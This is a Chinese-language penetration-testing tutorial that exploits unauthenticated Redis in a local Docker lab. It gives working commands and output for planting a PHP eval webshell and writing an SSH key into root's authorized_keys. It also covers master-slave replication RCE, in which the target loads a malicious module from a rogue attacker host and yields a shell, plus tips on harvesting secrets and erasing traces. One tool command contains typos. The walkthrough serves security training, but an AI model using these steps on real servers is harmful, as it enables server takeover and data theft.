Redis未授权访问漏洞:从原理到高级利用
文章目录
- 参考文章
- 一 Redis
- 1.1 Redis服务简介
- 1.1.1 Redis的“无状态”与“无认证”特性
- 1.1.2 Redis的致命风险:代码执行能力
- 1.2 Redis常用命令(渗透测试版)
- 1.2.1 连接与认证
- 1.2.2 信息收集
- 1.2.3 核心攻击命令(文件操作)
- 1.2.4 验证与清理命令
- 二 靶机环境部署
- 三 通过redis实现写webshell
- 四 通过redis实现免密登录
- 4.1 公私钥生成
- 4.2 公钥上传和私钥登录
- 五 高级利用:Redis主从复制RCE
- 5.1 技术背景:Redis主从模式与模块功能
- 5.1.1 Redis主从模式
- 5.1.2 Redis模块功能
- 5.2 攻击原理:伪造主从,植入模块
- 5.3 详细攻击步骤
- 5.4 总结与优势
参考文章
- 记一次Redis+Getshell经验分享
一 Redis
1.1 Redis服务简介
Redis(Remote Dictionary Server,远程字典服务)是一个开源、基于内存、键值对存储的NoSQL数据库。它通常被称为“数据结构服务器”,因为它的值(Value)不仅仅是简单的字符串,还可以是更复杂的数据结构,如字符串、哈希、列表、集合、有序集合等。
由于其卓越的性能(读写速度极快)和丰富的数据类型,Redis在现代Web应用中被广泛用作:
- 缓存数据库:缓存热点数据,减轻后端数据库压力。
- 会话存储:存储用户登录会话信息。
- 消息队列:利用其列表或发布/订阅功能实现异步消息处理。
- 排行榜/计数器:利用有序集合和原子递增命令。
1.1.1 Redis的“无状态”与“无认证”特性
在渗透测试的视角下,Redis有两个核心特性需要特别关注:
- 默认无认证:Redis默认情况下不需要任何密码即可连接。它提供了一个简单的认证机制(
AUTH
命令),但在许多默认安装或配置不当的场景中,该功能未被启用,这直接导致了“未授权访问”漏洞。 - 网络暴露:Redis服务默认监听在所有网络接口(
0.0.0.0
)的6379
端口上。如果管理员没有通过防火墙(如iptables)或Redis自身的bind
配置限制访问来源,攻击者就可以从公网直接连接到Redis服务器。
1.1.2 Redis的致命风险:代码执行能力
Redis最危险的地方在于,它能够直接与服务器文件系统进行交互。通过特定的命令,攻击者可以:
- 写入任意文件:将恶意内容(如Webshell、SSH公钥)写入服务器的任意路径。
- 读取任意文件:在某些配置下,可以读取服务器上的敏感文件。
- 加载外部模块:在较新版本中,可以加载恶意模块实现远程代码执行。
正是这些能力,使得Redis的未授权访问漏洞从一个信息泄露问题,直接升级为严重的远程代码执行漏洞。
1.2 Redis常用命令(渗透测试版)
在利用Redis未授权访问漏洞时,我们并不需要掌握Redis的全部命令。以下是在渗透测试中最常用、最核心的命令,它们构成了我们攻击链的基础。
1.2.1 连接与认证
redis-cli -h <target_ip> -p <target_port>
- 功能:连接到目标Redis服务器。
- 示例:
redis-cli -h 192.168.1.100 -p 6379
- 渗透测试要点:这是发起攻击的第一步。如果成功连接并看到
192.168.1.100:6379>
的提示符,通常意味着存在未授权访问。
AUTH <password>
- 功能:使用密码进行认证。
- 示例:
AUTH myweakpassword
- 渗透测试要点:如果未授权访问失败,可以尝试使用弱密码或泄露的密码进行认证。常见的弱密码包括
redis
,123456
,root
等。
1.2.2 信息收集
INFO
- 功能:获取Redis服务器的详细信息和统计数据。
- 渗透测试要点:这是信息收集的黄金命令。通过它我们可以获取:
redis_version
:Redis版本,用于判断是否存在特定版本的漏洞。os
:操作系统信息。process_id
:Redis服务的进程ID。config_file
:Redis配置文件的路径(/etc/redis/redis.conf
),这对于后续读取配置文件或确定Web目录很有帮助。used_memory_human
:内存使用情况。connected_clients
:已连接的客户端数量。
CONFIG GET *
- 功能:获取Redis服务器的所有配置项。
- 渗透测试要点:比
INFO
更详细。重点关注:dir
:Redis的工作目录,这是写入文件时的默认路径。dbfilename
:Redis持久化到磁盘的数据库文件名(默认为dump.rdb
)。我们写入Webshell或SSH公钥时,会覆盖这个文件。requirepass
:查看是否设置了密码。save
:查看RDB持久化的触发条件。
DBSIZE
- 功能:返回当前数据库中键的总数。
- 渗透测试要点:快速了解数据库中存储了多少数据,判断其业务重要性。
KEYS *
- 功能:查看当前数据库中所有的键。
- 注意:如果键非常多,此命令可能会阻塞Redis服务器,在生产环境中慎用。但在渗透测试中,为了查找敏感信息,值得一试。
- 渗透测试要点:查找可能包含敏感信息的键,如
user
,session
,admin
,password
,config
等。
GET <key>
- 功能:获取指定键的值。
- 示例:
GET user:admin:password
- 渗透测试要点:在通过
KEYS
找到可疑键后,使用此命令查看其具体内容,可能直接泄露用户密码、API密钥等。
1.2.3 核心攻击命令(文件操作)
这是利用漏洞进行攻击的核心,主要围绕修改配置并写入文件展开。
CONFIG SET <parameter> <value>
- 功能:动态修改Redis的配置。
- 渗透测试要点:这是攻击链中最关键的一步。我们用它来改变Redis的文件保存路径和文件名,从而实现任意文件写入。
CONFIG SET dir /home/test
:将工作目录修改为任意可写目录,如用户家目录。CONFIG SET dbfilename redis.rdb
:将数据库文件名修改为我们想要的任意文件名。
SET <key> <value>
- 功能:设置一个键值对。
- 渗透测试要点:配合
CONFIG SET
使用。我们将恶意载荷(如PHP Webshell代码、SSH公钥)作为值存入一个键中。SET shell "<?php @eval($_POST['cmd']); ?>"
SAVE
- 功能:强制将当前内存中的数据(也就是我们刚刚
SET
的恶意内容)保存到磁盘上,生成由dbfilename
指定的文件。 - 渗透测试要点:执行完
SET
和CONFIG SET
后,必须执行SAVE
才能真正将恶意内容写入目标文件。这是“写入”动作的触发器。
- 功能:强制将当前内存中的数据(也就是我们刚刚
1.2.4 验证与清理命令
在执行关键操作后,进行验证和清理是专业渗透测试的重要环节。
CONFIG GET <parameter>
- 功能:获取指定配置项的值。
- 渗透测试要点:用于验证我们的修改是否生效。
CONFIG GET dir
:检查工作目录是否已成功设置为我们想要的路径。CONFIG GET dbfilename
:检查备份文件名是否已成功设置为我们想要的文件名。
DEL <key>
- 功能:删除指定的键。
- 渗透测试要点:在写入Webshell或SSH公钥后,为了清理在Redis数据库中留下的痕迹,可以删除自己创建的键。
DEL shell
FLUSHALL
- 功能:删除当前数据库中的所有数据。
- 渗透测试要点:极度危险! 在测试环境中,可以用它来清空数据,方便重复实验。但在真实客户的渗透测试中,绝对禁止使用,这会造成灾难性的数据丢失。除非你的目标是进行拒绝服务攻击。
二 靶机环境部署
- 在自定义目录创建文件
docker-compose.yml
version: '2' services:# Redis未授权访问redis-unauth:image: registry.cn-hangzhou.aliyuncs.com/mingy123/redis-unauth:latestports:- "6380:6379"- "8080:80"- "2222:22"# redis主从复制RCEredis-master-slave-copy:image: vulhub/redis:4.0.14ports:- "6381:6379"
- 在该目录下执行命令,运行容器
docker compose up -d
三 通过redis实现写webshell
第一步:快速发现所有开放端口
nmap -p- --min-rate=1000 192.168.111.128
第二步:针对发现的开放端口进行详细扫描,使用全连接扫描(模拟普通客户端)
# -sT 是TCP Connect Scan,会完成完整的三次握手
nmap -p 6380,6381 -sT -sV 192.168.111.128
(base) ┌──(root㉿Kali)-[~]
└─# nmap -p 6380,6381 -sT -sV 192.168.111.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 17:01 CST
Nmap scan report for 192.168.111.128
Host is up (0.00032s latency).PORT STATE SERVICE VERSION
6380/tcp open redis Redis key-value store
6381/tcp open redis Redis key-value storeService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
第三步:网站目录扫描
- dirsearch - Web path discovery
pip3 install dirsearch
dirsearch -u http://192.168.111.128:8080
(base) ┌──(root㉿Kali)-[~/dirsearch]
└─# dirsearch -u http://192.168.111.128:8080 _|. _ _ _ _ _ _|_ v0.4.3.post1(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/dirsearch/reports/http_192.168.111.128_8080/_25-10-22_17-31-06.txtTarget: http://192.168.111.128:8080/[17:31:06] Starting:
[17:31:08] 403 - 282B - /.ht_wsr.txt
[17:31:08] 403 - 282B - /.htaccess.bak1
[17:31:08] 403 - 282B - /.htaccess.orig
[17:31:08] 403 - 282B - /.htaccess.sample
[17:31:08] 403 - 282B - /.htaccess.save
[17:31:08] 403 - 282B - /.htaccess_extra
[17:31:08] 403 - 282B - /.htaccess_orig
[17:31:08] 403 - 282B - /.htaccess_sc
[17:31:08] 403 - 282B - /.htaccessOLD
[17:31:08] 403 - 282B - /.htaccessBAK
[17:31:08] 403 - 282B - /.htaccessOLD2
[17:31:08] 403 - 282B - /.htm
[17:31:08] 403 - 282B - /.html
[17:31:08] 403 - 282B - /.htpasswd_test
[17:31:08] 403 - 282B - /.htpasswds
[17:31:08] 403 - 282B - /.httr-oauth
[17:31:09] 403 - 282B - /.php
[17:31:32] 200 - 138B - /file.php
[17:31:52] 403 - 282B - /server-status
[17:31:52] 403 - 282B - /server-status/Task Completed
- 发现该页面报错,暴露了真实项目根路径,由此可以利用redis未授权漏洞进行文件写入。
- 一个典型的Redis未授权写入Webshell的攻击流程
# 1. 连接目标
redis-cli -h 192.168.111.128 -p 6380
# 2. 信息收集,确认漏洞
INFO
CONFIG GET dir
CONFIG GET dbfilename
# 3. 设置恶意载荷
SET shell "<?php @eval($_POST['cmd']); ?>"
# 4. 修改保存路径为Web目录
CONFIG SET dir /var/www/html/
# 5. 修改保存文件名为PHP文件
CONFIG SET dbfilename shell.php
# 6. 验证配置是否修改成功
CONFIG GET dir
CONFIG GET dbfilename
# 7. 触发保存,写入文件
SAVE
# 8. (可选)清理痕迹
DEL shell
CONFIG SET dir /var/lib/redis # 恢复原路径
CONFIG SET dbfilename dump.rdb # 恢复原文件名
- 执行完毕后,即可访问
http://192.168.1.100/shell.php
并使用POST参数cmd
来执行系统命令,从而获取服务器Shell。
HackBar 插件
四 通过redis实现免密登录
- 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
4.1 公私钥生成
第一步:创建目标目录
# -p 参数表示如果父目录不存在,会一并创建,并且如果目录已存在也不会报错
mkdir -p ~/test/ssh
第二步:生成RSA 4096密钥
-t rsa
: 指定密钥类型为 RSA。-b 4096
: 指定密钥长度为 4096 位。-f ~/test/ssh/id_rsa
: 指定密钥文件的完整路径和名称。这会生成~/test/ssh/id_rsa
(私钥) 和~/test/ssh/id_rsa.pub
(公钥)。-N ""
: 设置密钥的密码为空(即无密码)。这样在使用密钥时就不需要输入密码,方便自动化操作。如果你希望设置密码,可以省略这个参数,系统会提示你输入。
执行以下命令:
ssh-keygen -t rsa -b 4096 -f ~/test/ssh/id_rsa -N ""
命令执行过程和预期输出: 运行上述命令后,由于所有必要参数都已提供,ssh-keygen
不会进行任何交互式提问,直接生成文件并显示确认信息。
Generating public/private rsa key pair.
Your identification has been saved in /root/test/ssh/id_rsa
Your public key has been saved in /root/test/ssh/id_rsa.pub
The key fingerprint is:
SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx kali_test_key@2025-10-22
The key's randomart image is:
+---[RSA 4096]----+
| |
| . |
| o . |
| . + . |
| . S . |
| . . o + . |
| . . = .o. |
| . o =+o+.. |
| . .+E*=+o. |
+----[SHA256]-----+
(注意:指纹和随机图像会与上面的示例不同)
第三步:验证生成的文件
# 使用 ls 命令列出 ~/test/ssh 目录下的文件
ls -l ~/test/ssh
预期输出:
total 8
-rw------- 1 root root 3243 Oct 22 17:00 id_rsa
-rw-r--r-- 1 root root 742 Oct 22 17:00 id_rsa.pub
id_rsa
的权限是600
(-rw-------
),这是非常重要的安全设置,表示只有文件所有者(root)可以读写。id_rsa.pub
的权限是644
(-rw-r--r--
),公钥可以安全地分享给他人。
至此,你已经成功在~/test/ssh
目录下生成了一个4096位的RSA密钥对。
第四步:调整格式(必须),避免redis备份文件时对产生工钥产生影响。
(echo -e "\n\n"; cat ~/test/ssh/id_rsa.pub; echo -e "\n\n") >
~/test/ssh/foo.txt
4.2 公钥上传和私钥登录
- 安装redis客户端
apt install redis-tools
- 链接redis目标机器,并上传公钥并保存。
# 清楚内容并退出 redis-cli -h 192.168.111.128 -p 6380 flushall exit # 上传公钥 cat ~/test/ssh/foo.txt | redis-cli -h 192.168.111.128 -p 6380 -x set m # 链接redis然后进行备份 redis-cli -h 192.168.111.128 -p 6380 config set dir /root/.ssh/ config set dbfilename "authorized_keys" save exit
- 在终端中使用私钥登录
ssh root@192.168.111.128 -p 2222 -i ~/test/ssh/id_rsa
(base) ┌──(root㉿Kali)-[~] └─# ssh root@192.168.111.128 -p 2222 -i ~/test/ssh/id_rsa The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jul 12 12:15:48 2023 from 58.20.23.55 root@2316871f8498:~# pwd root
五 高级利用:Redis主从复制RCE
- 之前介绍的利用方式,如写入Webshell或SSH公钥,其本质都是利用Redis的文件写入能力。这些方法依赖于目标服务器上存在特定的可写目录(如Web根目录、用户家目录的
.ssh
目录),并且需要满足其他条件(如Web服务支持PHP、SSH服务允许密钥登录)。 - 然而,当这些条件不满足时,我们是否就束手无策了呢?并非如此。在Redis 4.x及之后的版本中,一个更强大、更通用的攻击方式出现了——主从复制RCE。这种利用方式不再依赖于特定的文件路径,而是通过Redis自身的模块功能,直接在Redis进程中执行任意系统命令,实现真正的远程代码执行。
5.1 技术背景:Redis主从模式与模块功能
5.1.1 Redis主从模式
- 如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式。主从模式指使用一个redis实例作为主机,其他实例都作为备份机。其中,主机和从机数据保持实时同步,从机只负责读,主机只负责写。通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的架构方式。
- 在主从复制过程中,从机会连接到主机,并执行全量同步,将主机上的RDB文件(数据快照)下载到本地并加载。
5.1.2 Redis模块功能
- 在Redis 4.x之后,Redis新增了模块功能。这是一个革命性的特性,它允许开发者通过编写C语言代码并编译成
.so
(Linux)或.dylib
(macOS)动态链接库,来扩展Redis的功能。通过加载外部模块,我们可以在Redis中实现全新的Redis命令,甚至与操作系统底层进行交互。 - 关键点:我们可以编写一个恶意的
.so
模块,该模块包含一个可以执行系统命令的函数(如system.exec
)。如果能想办法让目标Redis服务器加载这个恶意模块,我们就能实现RCE。
5.2 攻击原理:伪造主从,植入模块
主从复制RCE的攻击思路非常巧妙,它将主从复制和模块功能两个特性结合了起来:
- 攻击者伪造一个恶意的Redis主机:这个主机上并不存储正常数据,而是存储一个精心构造的、包含恶意代码的“伪RDB文件”。这个文件实际上就是一个编译好的恶意
.so
模块。 - 诱骗目标Redis成为从机:攻击者连接到存在未授权访问的目标Redis服务器,通过
SLAVEOF
命令,让它去连接我们伪造的恶意主机。 - 触发全量同步,下载恶意模块:目标Redis(作为从机)会向恶意主机发起全量同步请求。恶意主机便会将这个伪装成RDB文件的恶意
.so
模块发送给目标。 - 强制目标保存恶意模块:目标Redis接收到数据后,会认为这是一个正常的RDB文件,并将其保存到磁盘上。我们可以通过
CONFIG SET dbfilename module.so
来控制保存的文件名。 - 加载模块,执行命令:最后,攻击者使用
MODULE LOAD ./module.so
命令,让目标Redis加载这个恶意模块。一旦加载成功,模块中定义的恶意命令(如system.exec
)就可以在目标服务器上执行任意系统命令了。
5.3 详细攻击步骤
- Redis RCE
- RedisModules-ExecuteCommand
- github Proxy
- 整体执行命令
#1. 拉取redis-rce项目
git clone https://gitproxy.click/https://github.com/Ridter/redis-rce.git
cd redis-rce
#2. 拉取 RedisModules-ExecuteCommand项目
git clone https://gitproxy.click/https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
#3. 完善文件解决报错
vim src/module.c
#include <string.h> // <-- 添加到module.c
#include <arpa/inet.h> // <-- 添加到module.c
#4. 编译so文件
make # 会有一些警告,但不影响
#5. 复制文件、安装项目依赖
cd ../
cp RedisModules-ExecuteCommand/module.so ./module.so
pip pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
#6. 运行攻击命令
python3 redis-rce.py -r 192.168.111.128 -p 6380 -L 192.168.111.128 -p 8899 -f modlues.so
- 最终攻击效果
(base) ┌──(root㉿Kali)-[~/redis-rce] └─# python3 redis-rce.py -r 192.168.111.128 -p 6381 -L 192.168.111.128 -f module.so █▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄ █ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀ █▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄ █ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀ █ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀ ▀ ▀ [*] Connecting to 192.168.111.128:6381... [*] Sending SLAVEOF command to server [+] Accepted connection from 192.168.111.128:6381 [*] Setting filename [+] Accepted connection from 192.168.111.128:6381 [*] Start listening on 192.168.111.128:21000 [*] Tring to run payload [+] Accepted connection from 172.19.0.2:58708 [*] Closing rogue server...[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i [+] Interactive shell open , use "exit" to exit... $ whoami redis
- 新建客户端进行命令执行,验证效果
(base) ┌──(root㉿Kali)-[~/test/ssh]
└─# redis-cli -h 192.168.111.128 -p 6381
192.168.111.128:6381> system.exec "id"
"uid=999(redis) gid=999(redis) groups=999(redis)\n"
5.4 总结与优势
- 通用性强:不依赖Web目录、
.ssh
目录等特定路径,只要Redis服务有权限写入其自身工作目录即可。 - 隐蔽性高:整个过程利用的是Redis的正常协议和功能,流量特征相对不明显。
- 权限稳定:通常以运行Redis服务的用户权限(如
redis
用户)执行命令,有时如果Redis以root
权限运行,将直接获取服务器最高权限。
主从复制RCE是Redis未授权访问漏洞的“终极武器”,是渗透测试人员在面对高版本Redis时必须掌握的攻击技巧。